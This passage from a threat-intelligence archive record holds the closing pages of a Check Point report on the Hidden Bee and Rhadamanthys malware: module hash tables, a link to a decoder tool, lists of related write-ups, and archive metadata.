3\r\nsubmodule:\r\n“runtime.exe”\r\nPE\r\n#11.5 a462783e32dceef3224488d39a67d1a9177e65bd38bc9c534039b10ffab7e7ba\r\nStage 3\r\nsubmodule:\r\n“stubmod.bin”\r\n(64-bit)\r\nXS\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 41 of 43\n\nID Hash Module type Format\r\n#11.6 2a8b2eca9c5f604478ffc9103136c4720131b0766be041d47898afc80984fd78\r\nStage 3\r\nsubmodule:\r\n“stubmod.bin”\r\n(32-bit)\r\nXS\r\n#11.7 ae30e2f276a49aa4f61066f0eac0b6d35a92a199e164a68a186cba4291798716\r\nStage 3\r\nsubmodule:\r\n“coredll.bin” (64-\r\nbit)\r\nXS\r\n#11.8 a4fe1633586f7482b655c02c1b7470608a98d8159b7248c05b6d557109aef8d9\r\nStage 3\r\nsubmodule:\r\n“coredll.bin” (32-\r\nbit)\r\nXS\r\n#11.9 7f96fcddf5bfb361943ef491634ef007800a151c0fcbff46bde81441383f759e\r\nStage 3\r\nsubmodule:\r\n“stubexec.bin”\r\n(64-bit)\r\nXS\r\nReference material\r\nHidden Bee filesystems (containing referenced modules):\r\nID Hash\r\nModule\r\ntype\r\nFormat\r\n#6 b828072d354f510e2030ef9cad6f00546b4e06f08230960a103aab0128f20fc3\r\nHidden\r\nBee\r\nfilesystem\r\n(preloads)\r\n!rdx\r\n#7 c95bb09de000ba72a45ec63a9b5e46c22b9f1e2c10cc58b4f4d3980c30286c91\r\nHidden\r\nBee\r\nfilesystem\r\n(miners)\r\n!rdx\r\nThe modules embedded in the filesystems can be retrieved with the help of the\r\ndecoder: https://github.com/hasherezade/hidden_bee_tools/tree/master/rdx_converter\r\nAppendix\r\nOther writeups on Rhadamanthys:\r\n[1] “Rhadamanthys: The”Everything Bagel” Infostealer”: https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/\r\n[2] Kaspersky found the link between HiddenBee and\r\nRhadamanthys: https://twitter.com/kaspersky/status/1667018902549692416\r\n[3] Kaspersky’s crimeware report referencing Rhadamanthys and its similarity to Hidden\r\nBee: https://securelist.com/crimeware-report-uncommon-infection-methods-2/109522/\r\n[4] ZScaler’s article mentioning the usage of the Hidden Bee formats: https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques\r\n[5] “Dancing With Shellcodes: Analyzing Rhadamanthys Stealer” by Eli Salem: https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88\r\nand more: https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys\r\nWriteups on Hidden Bee:\r\n[6] https://www.malwarebytes.com/blog/news/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit\r\n[7] https://www.malwarebytes.com/blog/news/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 42 of 43\n\n[8] https://www.malwarebytes.com/blog/news/2019/05/hidden-bee-lets-go-down-the-rabbit-hole\r\n[9] https://www.malwarebytes.com/blog/news/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack\r\nand more: https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddenbee\r\nSource: https://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 43 of 43",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/"
	],
	"report_names": [
		"from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats"
	],
	"threat_actors": [
		{
			"id": "dfee8b2e-d6b9-4143-a0d9-ca39396dd3bf",
			"created_at": "2022-10-25T16:07:24.467088Z",
			"updated_at": "2026-04-25T02:00:04.82494Z",
			"deleted_at": null,
			"main_name": "Circles",
			"aliases": [],
			"source_name": "ETDA:Circles",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1776912842,
	"ts_updated_at": 1777083539,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1476c6800b40266d546f453f3d548395ed0a662d.pdf",
		"text": "https://archive.orkl.eu/1476c6800b40266d546f453f3d548395ed0a662d.txt",
		"img": "https://archive.orkl.eu/1476c6800b40266d546f453f3d548395ed0a662d.jpg"
	}
}